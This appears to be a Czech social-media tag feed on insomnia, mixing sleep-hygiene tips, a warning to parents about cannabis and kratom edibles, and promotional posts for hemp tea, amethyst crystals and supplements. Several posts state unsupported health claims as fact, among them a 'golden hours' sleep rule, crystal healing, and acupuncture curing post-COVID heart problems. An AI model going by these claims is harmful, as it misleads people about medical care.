#nespavost

[energiezivota]

Spánková hygiena a její hlavní zásady

Udržujte pravidelný spánkový režim: Snažte se chodit spát a vstávat v přibližně stejnou dobu každý den, i o víkendech. Tím pomůžete synchronizovat svůj biologický rytmus a zlepšit kvalitu spánku. Vytvořte si relaxační rutinu před spaním: Před spaním si vytvořte klidnou a relaxační atmosféru. Můžete si přečíst knihu, poslouchat uklidňující hudbu, provádět jemné protahování či meditaci. Důležité je…

[nnat0]

[vipnoviny]

4 běžně podceňované důvody nespavosti – a 6 řešení od odborníka

Vstávejte brzy a slaďte tělesné rytmy s vycházejícím sluncem. (Public Domain) Pořádný noční odpočinek není důležitý jen pro to, abyste svůj den začali svěží, ale slouží důležitému biologickému procesu pro regeneraci těla. Doktor Chun-Hsu Chen, doktor naturopatické medicíny na Bastyrské univerzitě, poukazuje na to, že pokud jsou buňky poškozeny během dne, tělo napraví škody v noci během spánku, zejména v zdravém spánku. Pokud nespíte dobře, nemáte dostatek spánku nebo dokonce spíte v nesprávnou dobu, proces opravy těla se pokazí, což urychlí stárnutí. Vážněji, může také způsobit, že se buňky stanou rakovino tvornými. „Spánek je základní nutností proti stárnutí a proti rakovině,“ zdůraznil. Problém je, že mnoho lidí nemá dostatek spánku a nespí dobře. Existuje mnoho faktorů, které mohou ovlivnit kvalitu a množství spánku a způsobit různé problémy se spánkem.

1) Problém: Hormony nadledvin vs. melatonin

Kvůli tlakům a cyklům moderního života zůstává mnoho lidí dlouho vzhůru a spí nekvalitně, což přispívá k začarovanému kruhu. Když jsou lidé pod tlakem, nadledvinky vylučují hormony epinefrin (lépe známý jako adrenalin) a kortizol (běžně označovaný jako „stresový hormon“). Obecně tělo vylučuje hormony nadledvinek během dne, takže lidé mohou pracovat a reagovat na nouzové situace. Ale to jsou destruktivní hormony v tom smyslu, že také vypínají gastrointestinální systém, brzdí imunitní systém a dokonce ničí tělesnou tkáň. V noci tělo vylučuje melatonin, což je regenerační hormon, který bude fungovat, když spíme. Dr. Chen řekl, že tyto dva hormony jsou jako chodci na lanu: Pokud lidé často zůstávají dlouho do noci vzhůru, tělo pokračuje ve vylučování nadledvinek, což způsobí, že chodec na lanu ztratí rovnováhu. Zkracuje dobu, po kterou se tělo zotavuje, a z dlouhodobého hlediska také způsobí předčasné stárnutí a nemoci. V důsledku toho vysoký krevní tlak, vysoké krevní lipidy, vysoká hladina cukru v krvi a vysoká kyselina močová se pravděpodobně objeví již v raném věku a způsobí náhlá úmrtí. Nejtypičtějším případem je smrt z přepracování. 1) Řešení: Chytání „zlatých hodin“ Čtyři hodiny mezi 23:00. a 3:00 jsou nejdůležitější hodiny pro spánek, někdy nazývané „zlaté čtyři hodiny“. V ideálním případě může člověk v těchto hodinách nejen spát, ale také tvrdě spát. Naopak, pokud jdete spát ve 3 hodiny ráno a vstáváte v 11 hodin, můžete se i po celých osmi hodinách spánku cítit unavení. Dr. Chen zašel tak daleko, že řekl, že pokud zmeškáte tyto zlaté čtyři hodiny, „ten spánek je stejný jako žádný spánek“. Zdůraznil, že nemá smysl snažit se dohnat spánek. Nejlepší je, když někdo dokáže spát osm hodin za noc, včetně těch čtyř hodin, které prospí. Ale pokud jste příliš zaneprázdnění a nezvládnete osm hodin, je lepší spát od 23:00. do 3 hodin ráno a pokračujte v práci po vstávání ve 4 hodiny ráno, pokud musíte, řekl doktor Chen. Ale varoval, že toto je omezené řešení a z dlouhodobého hlediska stále trpíte nedostatkem spánku a během dne budete ospalí. Dr. Chen doporučuje meditaci mnoha lidem. Jedinečná stavová meditace, do které se vloží náš mozek, může pomoci zmírnit účinky nedostatku spánku. Navrhl praktikovat qigong, typ fyzického a duševního cvičení, které často zahrnuje meditaci. Tyto postupy upravují sympatické a parasympatické nervy, aby tělo udrželo zdravý spánek.

2) Problém: Plný žaludek a nadměrný škrob

Obecně se nedoporučuje chodit spát s pocitem přílišného hladu nebo sytosti. Žaludek a střeva potřebují určitou dobu na strávení potravy po jídle, a čím jste starší, tím je tato doba delší. Lidem starším 30 let Dr. Chen doporučuje dokončit večeři tři hodiny před spaním; pro osoby starší 40 let by to měly být čtyři hodiny; a pro osoby nad 50 let by to mělo být pět hodin. Těm, kterým je 60 a více, Dr. Chen doporučuje dokončit večeři do 18:00. Pokud to bude možné. Jakmile je vám přes 40, čím více budete v noci jíst nebo večeřet příliš pozdě, tím horší bude kvalita vašeho spánku, řekl Dr. Chen, což má za následek lehký spánek, neklidné noci a nadměrné snění. Jeho bývalý kolega měl například rušné období, kdy končil v práci ve 21 hodin a skončil s večeří ve 22:30 a během té doby špatně spal, většinu denních hodin byl omámený a navíc přibral na váze. Dr. Chen vysvětlil, že pokud je v gastrointestinálnímu trávicímu systému stále dodáváno jídlo, tělo je v pracovním stavu i během spánku. Ale normálně by tělo mělo přestat fungovat, když člověk spí. Glukóza a energie produkované po trávení budou poté odeslány do mozku, což způsobí nadměrné snění. Horší je, když se vaše večeře skládá z mnoha škrobů – přemění se na glukózu. Když je váš mozek během spánku zásobován tak velkým množstvím glukózy, "mozek bude velmi zaneprázdněn," řekl Dr. Chen. 2) Řešení: Omezení příjmu Kromě úpravy času, kdy jíte večeři, upravte také množství a to, co jíte. Dr. Chen říká, že i když bychom neměli chodit spát příliš sytí, neměli bychom také chodit spát s pocitem přílišného hladu. Upravte porci jídla podle úrovně hladu. Pokud jde o škroby: k večeři jezte méně, nebo ještě lépe, nejezte škroby v době večeře vůbec. 3) Problém: Kolísající hladina cukru v krvi a nedostatek žaludeční kyseliny Jíst příliš mnoho škrobů a cukrů v noci může nejen způsobit noční můry nadměrného snění, ale také způsobit kolísání hladiny cukru v krvi. Dr. Chen poukázal na to, že hladina cukru v krvi klesá a stoupá kdykoli, ale pokud se to stane uprostřed noci, je to hlavní příčina toho, že se lidé probouzejí mezi 3:00 a 4:00. Kolísání glukózy znamená prudký nárůst hladiny cukru v krvi po příjmu cukru a je vylučováno velké množství inzulínu, po kterém následuje prudký pokles hladiny cukru v krvi, který je příliš nízký. Pokud k tomu dojde během dne, lidé dostanou hlad a zpanikaří a chtějí jíst (aby si doplnili glukózu). Jenže v noci pak tělo vylučuje jaterní cukr, který se přeměňuje na glukózu, která vám zase zvedne hladinu cukru v krvi. Toto kolísání hladiny cukru v krvi znamená, že kontrolní mechanismus těla pro hladinu cukru v krvi se stává nestabilním. Tato situace je způsobena konzumací příliš velkého množství škrobu a čistých sacharidů (sacharidy mínus vláknina). Dalším způsobem, jak může trávení narušit zdravý spánek je, když nemáte dostatek žaludeční kyseliny. Jak stárneme, naše tělesné funkce se také mohou postupně snižovat. A protože trávicí funkce s věkem slábne, znamená to menší vylučování žaludeční kyseliny. Příznaky nedostatečné žaludeční kyseliny jsou různé během noci a dne, řekl Dr. Chen. Přes den byste po jídle pociťovali zažívací potíže a nadýmání, tělo se pak cítí slabé a ochablé. V noci to má za následek automatické probouzení uprostřed noci.

3) Řešení: Vyhněte se těmto potravinám na večeři

Dr. Chen říká, že místo užívání léků na vyrovnání hladiny cukru v krvi se místo toho zkuste během večeře vyhnout rafinovanému škrobu, sladkým nápojům a sladkým dezertům. Čím více těchto věcí sníte, tím výraznější budou výkyvy hladiny cukru v krvi. Pokud však máte nízkou žaludeční kyselinu, může být dobré užívat doplňky žaludeční kyseliny. Dr. Chen řekl, že pokud si je vezmete, budete je chtít vzít před spaním a 10 minut sedět, než doplňky začnou dělat svou práci. Poté mají lidé tendenci cítit touhu spát tvrdě. 4) Problém: Mozek plný rozptýlení Denní zaneprázdnění nebo starosti a úzkosti mouhou často lidi udržet v posteli, aníž by mohli usnout. Stres má tendenci být opakujícím se faktorem nespavosti, takže Dr. Chen dal několik praktických doporučení. 4) Řešení: Seznamy, doplňky a teplota Udělejte si seznam: Pokud máte spoustu myšlenek na věci, které musíte udělat, abyste se udrželi nahoře, Dr. Chen doporučil napsat si je jako seznam úkolů. Položením pera na papír a odložením seznamu stranou můžete přemýšlení o těchto položkách pozastavit s vědomím, že se k nim později vrátíte. Doplňky vápníku a hořčíku: To může uvolnit nervy a pomoci lidem s mírnými poruchami spánku spát lépe a hlouběji, když si vezmou tablety vápníku a hořčíku před spaním. Nemělo by se však očekávat, že účinek tablet vápníku a hořčíku bude stejný jako u prášků na spaní. "Osobně jsem proti používání prášků na spaní," řekl Dr. Chen a zdůraznil, že u prášku na spaní se zvyšuje dávkování a jsou mnohostranné, čím více se používají. K zahřátí nohou použijte elektrický ohřívač s dálkovým infračerveným zářením: Umístěte ohřívač asi 1 stopu od postele a nastavte ohřívač na nízkou teplotu. Lehněte si na postel a přikryjte se přikrývkou a vystavte spodní části nohou topení. Když lidé před spaním myslí na příliš mnoho věcí, cílové nervy se stanou příliš hyperaktivními, takže je těžké usnout, vysvětlil Dr. Chen. Teplá teplota způsobí vzestup parasympatických nervů, takže se lidé cítí uvolněně. Obvykle lidé začnou zívat asi pět minut poté, co se jejich nohy zahřejí, řekl. Překlad: Martin Kirschner (www.vipnoviny.cz) Zdroj: theepochtimes.com Read the full article

[pepikhipik]

⚠️Vypadají jako bonbóny, ale obsahují drogy

Jak rodiče poznají, že jejich dítě zkouší edibles❓

V tuzemsku roste trh s cukrovinkami s výtažky z konopí či kratomu. K mání jsou želé bonbóny, čokolády či sušenky. Prodejci i odborníci jim říkají anglickým výrazem edibles. Prodej zatím není nijak regulovaný, ale to by se mělo postupně změnit. Edibles obsahují i psychoaktivní látky a jsou rizikové například pro děti.

👉 V Česku se prodávají především edibles s obsahem konopných látek HHC a CBD. Méně často také s extrakty z kratomu, tedy listů exotického stromu.

Edibles mají podobu například želé bonbónů různých tvarů (kostky, medvídci, kroužky, tvary ovoce…), ale může jít také o čokoládu, med, koláče nebo sušenky.

❗Oslovení odborníci se shodují, že největší riziko představují edibles pro děti a dospívající. Jsou pro ně velkým lákadlem kvůli své formě připomínající sladkosti a snadnou dostupností na internetu či v prodejních automatech, které stojí i na frekventovaných veřejných místech.

❗ Edibles mohou vést snadno k předávkování či vytvoření závislosti.

Se stoupajícím užíváním edibles a znalostí jeho rizik je na místě také upozornění rodičům, aby byli ve střehu, protože vzhled návykových látek stále častěji připomíná potraviny.

Pozorný rodič může užívání edibles u dítěte zaznamenat. A to jak v podobě prázdných obalů, tak v podobě změny v chování. „Například u HHC jsou účinky podobné účinkům THC, tedy euforické, uvolňující, někdy mírně sedativní. Když je užité HHC v takové koncentraci, kdy se projeví jeho psychoaktivní účinky, může si toho rodič samozřejmě všimnout. Také může najít obaly od cukrovinek, kde je obsah HHC označen,“ vysvětluje adiktolog.

Více zde:

Bezprostřední rizika při intoxikaci drogou

Americký úřad pro kontrolu jedů obdržel mezi lety 2011 až 2017 kolem 1800 hlášení včetně zpráv o úmrtích. Objevily se mimo jiné tyto příznaky: nevolnost, kožní poruchy, zvracení, zácpa nebo průjem, bolesti svalů, závratě, vzestup krevního tlaku, záchvaty, ospalost a spánek, halucinace, zmatenost, depresivní stavy, útlum dechu a stavy bezvědomí. Riziko podstatně roste při interakci s jinými látkami nebo léky včetně alkoholu, kofeinu, marihuany, antidepresiv i dalších. Toxikologický průkaz drogy v těle zemřelých osob je sice možný, ale běžně se neprovádí. Je proto pravděpodobné, že počet zemřelých po aplikaci kratomu bude vyšší, než jak ho uvádějí statistiky. Zneužívání kratomu v těhotenství představuje riziko pro matku i plod.

Rizika po delším užívání

Zahrnují úzkost, podrážděnost, agresivitu, třesy, nechutenství, psychotické stavy, závislost a tělesné obtíže při odvykacím stavu. Zmiňují se také změny krevního tlaku a tepové frekvence, poškození jater, ledvin, plic a nervových buněk. Podobně jako u jiných drog jsou děti a dospívající vůči kratomu vnímavější a po delším užívání nelze vyloučit trvalé poškození mozku, jako je tomu například u marihuany. Odvykací stav zpravidla život neohrožuje a do značné míry se podobá odvykacímu stavu po opiátech. Bývá ale subjektivně trýznivý a ztěžuje odvykání. Objevuje se při něm široké spektrum příznaků, např. bolesti svalů, křeče v břiše, nevolnost a zvracení, průjem, neostré vidění, zvýšená teplota a záchvaty. Po psychické stránce lze zmínit nespavost, podrážděnost, úzkost a deprese. Odvykací stav začíná během 24 hodin po poslední aplikaci a trvá v závislosti na předchozí délce užívání a dávkách od tří do deseti dnů. Nejedná se o akademický problém, pacienti s těžkými odvykacími stavy se v nemocnici Bohnice skutečně objevují.

[nukaseeds-cz]

Odhalte výhody čaje z konopných listů

Čaj z konopných listů nabízí jedinečný a potenciálně terapeutický zážitek, který vám umožní využít blahodárné účinky CBD v uklidňující a lahodné formě.

Výhody čaje z konopných listů - obsah

Úvod

Konopný čaj: Uklidňující zážitek

Co je čaj z konopných listů?

Výhody konopného čaje z konopných listů

Jak vyrobit čaj z konopných listů

Složení:

Pokyny:

Závěr

Úvod

Konopí se v posledních letech prosazuje jako všestranná rostlina s mnoha potenciálními zdravotními přínosy. Zatímco většina lidí je obeznámena s jeho rekreačním využitím, konopí se také dostalo do různých wellness produktů, včetně olejů, poživatin a čajů. V tomto článku prozkoumáme svět konopného čaje, konkrétně se zaměříme na čaj z konopných listů, zdůrazníme jeho potenciální zdravotní účinky a vysvětlíme, jak si ho připravit doma.

Konopný čaj: Uklidňující zážitek

Konopný čaj se používá již po staletí, především pro své léčebné účinky. Je to nejen uklidňující a uklidňující nápoj, ale také potenciální zdroj různých zdraví prospěšných látek. Jednou z méně známých, ale neméně zajímavých variant je čaj z konopných listů.

Co je čaj z konopných listů?

Čaj z konopných listů se připravuje ponořením konopných listů do horké vody, čímž se liší od běžných čajů z marihuany, které obvykle obsahují psychoaktivní látku THC. Konopný čaj se skládá převážně z listů konopí, které se vyznačují minimálním obsahem THC a vysokým obsahem CBD (kanabidiolu), což je uznávaný nepsychoaktivní kanabinoid proslulý svými potenciálními léčebnými účinky.

Výhody konopného čaje z konopných listů

Úleva od bolesti: CBD, který se hojně vyskytuje v konopném čaji, je známý svými analgetickými vlastnostmi. Může pomoci zmírnit chronickou bolest, bolestivost svalů a zánět, což z něj činí vynikající volbu pro ty, kteří hledají přirozenou úlevu od bolesti.

Snížení stresu: Mnoho lidí se obrací na čaj z konopných listů, aby pomohli snížit stres a úzkost. Bylo prokázáno, že CBD interaguje s receptory v mozku, které regulují náladu, a potenciálně tak podporuje uvolnění a pocit klidu.

Lepší spánek: Nespavost a poruchy spánku mohou výrazně ovlivnit kvalitu života. CBD může pomoci zlepšit spánkový režim tím, že řeší základní příčiny nespavosti, jako je úzkost a bolest.

Zdraví pokožky: Lokální aplikace konopných pleťových vod nebo solí může mít na pokožku zklidňující účinek. Přidáním konopných listů do čaje můžete pocítit podobné účinky i vnitřně, což může pomoci při kožních onemocněních, jako je akné nebo ekzém.

Jak vyrobit čaj z konopných listů

Příprava konopného čaje je jednoduchá. Zde je jednoduchý recept:

Složení:

1-2 gramy sušených konopných listů (konopných listů, pokud se chcete vyhnout THC)

1 šálek horké vody (ne vařící)

Volitelně: Čajová lžička medu nebo citronu na dochucení

Pokyny:

Volitelně: Čajová lžička medu nebo citronu na dochucení

Rozemleté listy konopí vložte do čajového louhovače nebo malého mušelínového sáčku.

Zahřejte vodu na teplotu těsně pod bodem varu, přibližně 71-85 °C (160-185 °F).

Vložte infuzér nebo sáček s konopnými listy do šálku a zalijte jej horkou vodou.

Přikryjte šálek podšálkem nebo pokličkou, aby se udrželo teplo, a nechte 10-15 minut louhovat.

Vyjměte nálevník nebo sáček, podle potřeby přidejte med nebo citron a vychutnejte si čaj z konopných listů.

Závěr

Konopný čaj nabízí jedinečný a potenciálně terapeutický zážitek, který vám umožní využít blahodárné účinky CBD v uklidňující a lahodné formě. Před zařazením konopných produktů do svého stravovacího režimu se vždy poraďte se zdravotníkem, zejména pokud máte nějaké zdravotní potíže nebo užíváte léky. Při správném vedení může být čaj z konopných listů cenným doplňkem vašeho wellness režimu, který podporuje relaxaci, úlevu od bolesti a celkovou pohodu.

Pokud se rozhodnete vyrobit si vlastní konopnou mast, vždy kupujte kvalitní suroviny, a to i čerstvá konopná semínka. Semena můžete hledat u společnosti Nukaseeds.

Články o konopí, konopná semena. konopné akce a slevy Nuka Seeds. Bezplatné články o pěstování konopí,zprávy o pěstování a problematice konopí a mnoho dalšího..

[lajkashighlights]

Moje nespavost píše příběhy sama.

[bramiametyst]

ametyst kámen

Využití Mystické Energie: Mnohostranné Využití Drahokamu Ametystu!

Drahokam ametyst je nádherný krystal známý pro své okouzlující fialové odstíny a mystické vlastnosti. Po staletí si civilizace cenily tento drahokam pro jeho krásu a věřily, že má různé metafyzické a léčivé výhody.

V tomto blogu se ponoříme do fascinujícího světa ametystu a prozkoumáme mnoho způsobů, jak jej lze využít k vylepšení našich životů.

Původ Ametystu

Ametyst má bohatou historii sahající až do starověku. Jeho název je odvozen z řeckého slova „ametystos“, což znamená „neopilý“. V řecké mytologii se věří, že bůh Dionýsos stvořil ametyst tak, že proměnil smrtelnou ženu Amethystos v křišťál, aby ji ochránil před jeho opojnými silami.

Drahokam byl také opečováván egyptskou královskou rodinou a používán ve starověkých pohřebních rituálech. V průběhu staletí se jeho půvab nezmenšil a uchvacoval lidi napříč kulturami a kontinenty.

Metafyzické Vlastnosti Ametystu

Ametyst je uctíván pro své silné metafyzické vlastnosti, díky čemuž je oblíbenou volbou mezi duchovními praktiky a nadšenci křišťálu. Ametyst kámen je spojeno s čakrou třetího oka a korunní čakry, podporuje intuici, duchovní uvědomění a vyšší vědomí. Věří se, že usnadňuje vnitřní mír, jasnost a hlubší pochopení sebe sama a vesmíru.

Meditace s ametystem nebo jeho držení při duchovních praktikách může posílit spojení s duchovní sférou.

Emoční A Fyzické Léčení S Ametystem

Kromě duchovního významu je ametyst známý také pro své léčivé vlastnosti. Má se za to, že má uklidňující účinek na mysl, zmírňuje stres, úzkost a nespavost. Umístěním ametystového shluku nebo geody v ložnici můžete vytvořit klidnou atmosféru, která přispívá ke klidnému spánku.

Také se věří, že drahokam pomáhá zmírňovat bolesti hlavy a podporuje celkovou fyzickou pohodu.

Ametyst V Energetické Očistě A Ochraně

Ametyst se často používá k energetické očistě a ochraně před negativními vlivy. Jeho energie prý přeměňuje negativní vibrace na pozitivní a čistí okolní prostředí.

Umístění ametyst krystal do klíčových oblastí domova nebo pracoviště může pomoci vytvořit harmonickou atmosféru a chránit se před psychickými útoky. Navíc se věří, že nošení ametystových šperků působí jako osobní talisman, který chrání nositele před negativitou.

Ametyst V Meditaci A Všímavosti

Krystal amethyst uklidňující energie a schopnost zlepšit soustředění z něj činí ideálního společníka pro meditaci a praktiky všímavosti. Jeho přítomnost během meditace může prohloubit zážitek, uklidnit mysl a napomáhat koncentraci. Klidná energie drahokamu pomáhá při přístupu k vyšším stavům vědomí, což usnadňuje prozkoumávání vnitřních myšlenek a emocí.

Ametyst jako symbol moudrosti a královské hodnosti

V průběhu historie byl ametyst spojován s moudrostí a královskou hodností. V dávných dobách jej často nosili panovníci a panovníci jako symbol své moci a královského postavení. I dnes je ametyst nadále ceněn pro svou eleganci a sofistikovanost, zdobí vše od královských korun až po moderní šperky.

Závěr

Kámen ametyst se svou podmanivou krásou a mystickou energií zaujímá zvláštní místo ve světě krystalů a gemologie. Jeho použití jako duchovního nástroje, léčivého prostředku a symbolu moudrosti a královské hodnosti přetrvalo věky.

Ať už hledáte duchovní růst, emocionální uzdravení nebo se prostě chcete ozdobit nádechem elegance, využití mystické energie ametystu může obohatit váš život mnoha způsoby.

Tak proč čekat? Navštivte naše webové stránky, objednejte si svůj ametystový náramek a pozvěte okouzlující sílu tohoto drahokamu do svého života.

Přijměte uklidňující energii a nechte se jí vést na cestě sebepoznání, vnitřního klidu a duchovního probuzení!

Pozrite si našu webovú stránku pre viac informácií o černý obsidián!

[paneyneygirl]

Překonání Nespavost: Taktiky Pro Lepší Spánek

Spánek je životně důležitým aspektem naší celkové pohody a přispívá k našemu fyzickému a duševnímu zdraví. Snaha za sladkým snem může být pro mnoho lidí bojem . Většina lidí trpí nespavostí. To je charakterizováno jako potíže s usínáním nebo udržením spánku. Nedělejte si starosti, když zjistíte, že se zmítáte v posteli. Cílem tohoto průvodce spánkem je vybavit vás účinnými strategiemi, jak překonat nespavost a dosáhnout lepšího spánku pro lepší zdraví a pohodu. Chcete-li naučit se dalších informací o krásné sny, musíte procházet na naše webové stránky.

Příručka pro lepší spánek a boj s nespavostí

Níže jsou strategie a tipy pro dosažení lepšího spánku a boj s nespavostí:

Stablish Disciplinovaný režim spánku

Je důležité vytvořit si pravidelný spánkový režim, abyste mohli regulovat své vnitřní hodiny. Snažte se chodit spát a vstávat každý den ve stejnou dobu, dokonce i o víkendech. Tato konzistence pomůže trénovat vaše tělo, kdy jít spát a probudit se.

Vytvořte uklidňující spánek podmínky

Prostředí, ve kterém spíte, může hrát zásadní roli při podpoře klidného spánku spánek. Začněte optimalizací své ložnice pro atmosféru přátelskou ke spánku. Investice peněz do dobré matrace, která poskytne vašemu tělu dostatečnou oporu, je vynikající investice. Kvalitní matrace může znamenat velký rozdíl v zajištění klidného spánku a předcházení nepohodlí .

Uvolněte se před spaním

Uklidnění před spaním v dnešní uspěchané době často přehlížíme. prostředí. Své mysli a tělu můžete signalizovat, že jste připraveni odpočívat, tím, že se zapojíte do relaxačních aktivit. Zvažte dobré čtení knihu, cvičení hlubokého dýchání, poslech uklidňující hudby nebo si dejte teplou relaxační koupel. Nezapojujte se do stimulačních aktivit nebo nepoužívejte elektronická zařízení s modrým světlem. Ty mohou narušit produkci hormonu melatoninu, který reguluje váš spánek.

Zaveďte spánkovou dietu

Kvalitu vašeho spánku může ovlivnit jídlo, které jíte. Vyberte si zdravou stravu, která zahrnuje ovoce, zeleninu, celozrnné výrobky a libové bílkoviny. Omezte příjem kofeinu a alkoholu, zejména před spaním. Tyto látky mohou narušit spánkový režim. Vyhněte se večerní konzumaci těžkých jídel, protože zažívání může ztěžuje usínání.

Vytvořit prostředí pro klidný spánek

Klidné prostředí pro spánek dokáže zázraky s kvalitou vašeho spánku. Udržujte svou ložnici temnou, tichou a chladnou. K zablokování nežádoucích zvuků a světla použijte zatemňovací závěsy, zařízení s bílým šumem nebo špunty do uší. Upravte si pokojovou teplotu na 65°F/18°C, což je ideální teplota pro spánek.

Zvládejte stres a úzkost

Spánkové vzorce mohou být ovlivněny přetrvávajícím stresem a úzkost. Techniky zvládání stresu, jako je meditace, jóga nebo psaní deníku, vám mohou pomoci zklidnit mysl. Uvažujte, zda si u postele ponechat blok, kam si můžete zapsat své starosti a seznam úkolů, které vám pomozte své mysli uvolnit se.

Založit předspánkový Rituál

Vytvořte si rutinu před spaním, abyste svému tělu a mysli pomohli vědět, že je ten správný čas přepnout se do režimu spánku. Zapojte se do aktivit, které vás uvolní a pomohou vám připravit se na spánek. Můžete dělat jemné protahovací cvičení nebo cvičení všímavosti , při popíjení bylinkového čaje. Je to důležité abyste byli konzistentní, zkuste tyto rituály zařazovat každý večer.

Pravidelně cvičte

Cvičení může zlepšit kvalitu spánku a má mnoho dalších zdravotních výhod. Vyhněte se intenzivnímu cvičení před spaním, protože může zvýšit bdělost. Cvičte 30 minut každý den v týdnu, abyste zlepšili svůj spánek.

Závěr

Spánek je nutností pro udržení dobrého zdraví. Nespavost můžete překonat implementací tyto strategie ke zlepšení vašeho spánku a využití výhod. Nezapomeňte vytvořit relaxační prostředí pro spánek, kontrolovat stres a úzkost, jíst zdravou stravu a denně cvičit. Provedením těchto změn můžete dosáhnout dobrého nočního odpočinku.

[ashapik]

Překonání Nespavost: Techniky Pro Uklidňující Spánek

Spánek je životně důležitým aspektem naší celkové pohody a přispívá k našemu fyzickému a duševnímu zdraví. Ale pro některé se honba za sladkými sny stává noční bitvou. Mnoho lidí trpí nespavostí, popř. potíže s usínáním nebo setrváním ve spánku. Nedělejte si starosti, pokud se zmítáte v posteli. Tento průvodce spánkem vám poskytuje strategie, které vám pomůže překonat nespavost. Dostanete více informací na krásné sny procházením našeho webu.

Příručka pro lepší spánek a boj s nespavostí

Zde je několik strategií a tipů, které vám pomohou získat lepší noční spánek a bojovat proti nespavosti.

Stablish Konzistentní režim spánku

Vytvoření pravidelné spánkové rutiny je zásadní pro regulaci vnitřních hodin vašeho těla. Snažte se chodit spát a vstávat každý den ve stejnou dobu, dokonce i o víkendech. Tato konzistence trénuje vaše tělo, aby vědělo, kdy je čas jít spát, což usnadňuje pád a zůstaň spát.

Udělejte si relaxační spánek prostředí

Prostředí pro spánek je důležité pro podporu klidného spánku. Udělejte ze své ložnice prostředí přátelské ke spánku tím, že ji optimalizujete. Investujte do pohodlné matrace, která poskytuje dostatečnou oporu a odpovídá potřebám vašeho těla. Kvalitní matrace mohou být rozdílem mezi kvalitním spánkem a nepohodou.

Uvolněte se před spaním

Mnoho lidí přehlíží důležitost uklidnění před spaním v naší rychle se měnící společnosti. Relaxační aktivity dají tělu signál, aby se uvolnilo. Odpočinout si můžete čtením knihy nebo procvičováním hlubokého dýchání, teplou sprchou nebo poslechem uklidňující hudby. Vyhněte se činnostem, které stimulují, a elektronickým zařízením vyzařujícím modré světlo. Mohou narušovat produkci melatoninu, hormonu, který reguluje spánek.

Zaveďte spánkovou dietu

Vaše dietní volby mohou významně ovlivnit kvalitu vašeho spánku. Rozhodněte se pro vyváženou stravu, která zahrnuje celozrnné výrobky, libové bílkoviny, ovoce a zeleninu. Omezení kofeinu a alkoholu vám může pomoci lépe spát. Vyhněte se večerní konzumaci těžkých jídel, protože zažívání může ztěžuje usínání.

Vytvořit prostředí pro klidný spánek

Klidné prostředí pro spánek dokáže zázraky s kvalitou vašeho spánku. Udržujte svou ložnici temnou, tichou a chladnou. Uvažujte o zatemňovacích závěsech, které blokují nežádoucí zvuk a světlo. Můžete také použít špunty do uší nebo přístroje s bílým šumem. Ideální teplota pro spánek je kolem 65°F (18°C), přizpůsobte si proto svůj pokoj.

Stres a úzkost: Jak je zvládat

Stres a úzkost, které přetrvávají, mohou narušit váš spánkový vzorec. Meditace, jóga a psaní deníku jsou všechny skvělé způsoby, jak zklidnit mozek před spaním. Pokud vám závodní myšlenky brání usnout, zvažte, zda si u postele ponechat poznámkový blok, abyste si mohli zapisovat zapište si všechny starosti nebo seznamy úkolů, aby se vaše mysl uvolnila. Umožní to vaší mysli relaxovat.

Postavit předspánkový Zvyk

Vytvoření předspánkového rituálu může signalizovat vašemu tělu a mysli, že je čas přejít do režimu spánku. Věnujte se aktivitám, které podporují relaxaci a připravují vás do postele. To může zahrnovat jemné protahování, popíjení bylinného čaje nebo procvičování všímavosti. Zařaďte tyto rituály do své každodenní rutiny, abyste zajistili konzistenci.

Pravidelně cvičte

Pravidelné cvičení nabízí řadu zdravotních výhod, včetně zlepšení kvality spánku. Věnujte se fyzické aktivitě během dne, ale vyhněte se intenzivnímu cvičení těsně před spaním, protože může zvýšit bdělost. Cvičte 30 minut každý den v týdnu, abyste zlepšili svůj spánek.

Shrnutí

Spánek není jen luxus; je to nutnost pro udržení dobrého zdraví a celkové pohody. Zavedení těchto strategií vám pomůže překonat nespavost a užít si omlazující výhody dobrého nočního spánku. Nezapomeňte vytvořit relaxační prostředí pro spánek, kontrolovat stres a úzkost, jíst zdravou stravu a denně cvičit. Provedením těchto změn můžete dosáhnout dobrého nočního odpočinku.

[energiezivota]

Jak zmírnit příznaky menopauzy?

Zmírní či zcela omezí: prudké a náhlé návaly horka noční pocení závratě změny nálad nespavost Pro mnoho žen představuje období menopauzy výzvu, se kterou se často pojí nepříjemné příznaky, jako jsou návaly horka, závratě, noční pocení a nespavost. Tradiční medicína může nabídnout různá řešení, ale stále více žen hledá přirozené alternativy k zmírnění těchto obtíží. Jedním z takových produktů je…

[vipnoviny]

Vyléčení srdečních problémů trvá pouze 1 měsíc? Harvardská studie potvrzuje existenci meridiánu osrdečníku

Léčba palpitací, infarktu myokardu, nespavosti s akupunkturami Stimulace akupunkturních bodů může zlepšit nebo vyléčit nemoci. Na Západě akupunktura a akupresura postupně získávají na oblibě. Existují však meridiány skutečně v lidském těle? Vědecká komunita dlouho neměla odpověď. Nicméně studie publikovaná Harvardskou lékařskou fakultou potvrdila existenci „perikardového meridiánu“, jednoho z 12 meridiánů.

Srdeční problémy 28-letého muže byly vyléčeny během jednoho měsíce

V lednu 2022 přišel na kliniku profesora Jonathana Liu, 28letý muž, který byl u něj registrován na akupunktůru. Tento mladý muž a celá jeho rodina byli vždy pacienty profesora Liu. Míval hodně energie a miloval lezení po skalách. Nedávno se nakazil COVID-19. Začalo to horečkou, kašlem a bolestí v krku. Poté, co chvíli odpočíval, většina jeho respiračních symptomů ustoupila. Zůstaly mu však následky překrvení hrudníku a bušení srdce (palpitace). Když cvičil, jeho bušení srdce bylo zřetelnější. Srdeční potíže mu znesnadňovaly lezení po skalách stejně jako předtím, a byl velmi rozrušený. Po zkontrolování svého stavu profesor Liu zjistil, že nejenže během cvičení pociťoval bušení srdce, ale měl také příznaky psychického napětí. Profesor Liu se ho tedy rozhodl léčit tak, že začal od jeho meridiánu ostdečníku (meridián perikardu). Profesor Liu mu vpichoval akupunkturní jehly do meridián osrdečníku a předepsal mu čínskou bylinnou medicínu. Za něco málo přes dva týdny byly srdeční příznaky mladého muže vyléčeny a byl schopen znovu lézt po skalách. Proč byly jeho srdeční problémy vyléčeny akupunkturou přes perikardiální meridián? Slovo osrdečník je odvozeno z latinských slov „okolo (peri)“ a „srdce (kardium). Jak již název napovídá, osrdečník je membrána obklopující srdce. Je to stráž, která chrání srdce. A „meridián“ lze interpretovat jako „kanál energie“. Obvykle naše emoční výkyvy způsobí silné kolísání energie v těle a tím poškození srdce. Proto lidé, kteří jsou emocionálně labilní a často stresovaní, mívají nezdravé srdce. Negativní energie viru SARS-COV-2 také poškodí srdce po infekci. Zejména mnoho lidí má příznaky po COVID-19 (dlouhé COVID), často mají v těle zbytky virů a jejich průbojnost nadále útočí na srdce. Energie meridiánu osrdečníku může 